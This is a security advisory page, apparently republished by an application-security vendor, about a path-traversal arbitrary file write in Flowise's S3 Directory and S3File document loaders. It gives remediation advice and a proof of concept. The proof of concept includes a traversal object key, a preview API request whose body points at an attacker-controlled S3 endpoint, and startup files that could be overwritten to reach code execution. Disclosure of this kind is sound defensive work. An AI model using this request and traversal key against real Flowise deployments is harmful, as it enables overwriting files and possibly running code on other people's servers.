Summary
Flowise: Authenticated arbitrary file write in the S3 Directory document loader via unsanitized S3 object keys
Flowise on current main allows an authenticated user with
documentStores:preview-process permission to trigger the S3 Directory
document loader with attacker-controlled S3 object keys. The loader joins
each returned S3 key with a temporary directory using path.join(tempDir, key)
and writes the object bytes to disk without validating traversal sequences
such as ../. Cleanup later removes only the original temporary directory,
so files written outside that directory persist on the host filesystem.
This yields arbitrary file write with the privileges of the Flowise
server process.
A related variant exists in the S3File loader when
fileProcessingMethod = unstructured (same root cause; its cleanup behavior
turns it into a mixed arbitrary write/delete/DoS primitive).
Affected component
packages/components/nodes/documentloaders/S3Directory/S3Directory.ts- line 191:
filePath = path.join(tempDir, key)(unsanitized) - line 213: recursive
mkdirSynccreates parent path - line 216:
writeFileSyncwrites attacker-controlled bytes - line 289: cleanup only removes the original
tempDir, so escaped
files remain on disk
- line 191:
- Related (variant):
packages/components/nodes/documentloaders/S3File/S3File.ts
(lines 756, 780, 782, 817, arbitrary write + recursive dirname delete)
Reachability
- Routes exposed:
packages/server/src/routes/documentstore/index.ts:41,45
(/api/v1/document-store/loader/preview,
/api/v1/document-store/loader/process/:loaderId) - Both require
documentStores:preview-process packages/server/src/services/documentstore/index.ts:588passesdata.loaderConfigstraight to the loader node with no path
sanitizationS3Directoryaccepts a customserverUrl, so the attacker does not
need access to an existing trusted AWS bucket, they can point Flowise
at a local MinIO or any S3-compatible endpoint they control
Impact
- Authenticated arbitrary file write to any path writable by the Flowise
process - Destructive overwrite of application data, secrets, or configuration
- Deployment-dependent lift to RCE if the service account can modify
executable, startup, or interpreter-loaded files
(e.g..bashrc, systemd units, cron files,require.resolvetargets,package.jsonpostinstall scripts). This is not guaranteed
product-wide.
Preconditions
- Flowise instance running (HTTP server mode)
- Attacker has a workspace account with the
documentStores:preview-processrole - No additional infrastructure required,
serverUrlcan point to
attacker-controlled S3-compatible endpoint
Proof of Concept
- Authenticate as a user with
documentStores:preview-process - Run an S3-compatible server the attacker controls (e.g. MinIO)
- Create an object with a traversal key such as:
../../../../tmp/flowise-poc.txt - Trigger:
POST /api/v1/document-store/loader/preview
(or /api/v1/document-store/loader/process/:loaderId)
body: {
"loaderId": "s3Directory",
"loaderConfig": {
"serverUrl": "http://attacker-minio:9000",
"bucketName": "attacker-bucket",
"prefix": "",
"credential": ""
}
} - Observe that Flowise writes the object bytes to the escaped path
- Observe that cleanup removes only the original temp directory; the
escaped file persists
Local reproduction confirmed: writing a key containing
../../escape-target/poc.txt from a nested temp root created the file
outside the temp directory, and the cleanup removed only tempDir.
Root Cause
The loader trusts S3 object keys as safe local relative paths. It should
canonicalize the destination with path.resolve(...), verify the resolved
path remains within the intended temp directory, and reject traversal or
absolute-path patterns before any directory creation or file write.
Suggested Remediation
The repository already has shared path validators that are not used here:
packages/components/src/validator.ts:35defines traversal checkspackages/components/src/validator.ts:295definessanitizeFileName
Recommended fix:
- Replace
path.join(tempDir, key)with a resolve-and-verify flow - Reject any resolved path outside
tempDir - Prefer a sanitized basename if directory structure is not required
- Apply the same fix to the
S3Fileloader (fileProcessingMethod = unstructuredbranch)
Impact
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
flowise-components to 3.1.3 or later; flowise to 3.1.3 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-88PR-878C-24WF? GHSA-88PR-878C-24WF is a high-severity path traversal vulnerability in flowise-components (npm), affecting versions <= 3.1.2. It is fixed in 3.1.3. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- Which packages are affected by GHSA-88PR-878C-24WF?
flowise-components(npm) (versions <= 3.1.2)flowise(npm) (versions <= 3.1.2)
- Is there a fix for GHSA-88PR-878C-24WF? Yes. GHSA-88PR-878C-24WF is fixed in 3.1.3. Upgrade to this version or later.
- Is GHSA-88PR-878C-24WF exploitable, and should I be worried? Whether GHSA-88PR-878C-24WF is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-88PR-878C-24WF is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-88PR-878C-24WF?
- Upgrade
flowise-componentsto 3.1.3 or later - Upgrade
flowiseto 3.1.3 or later
- Upgrade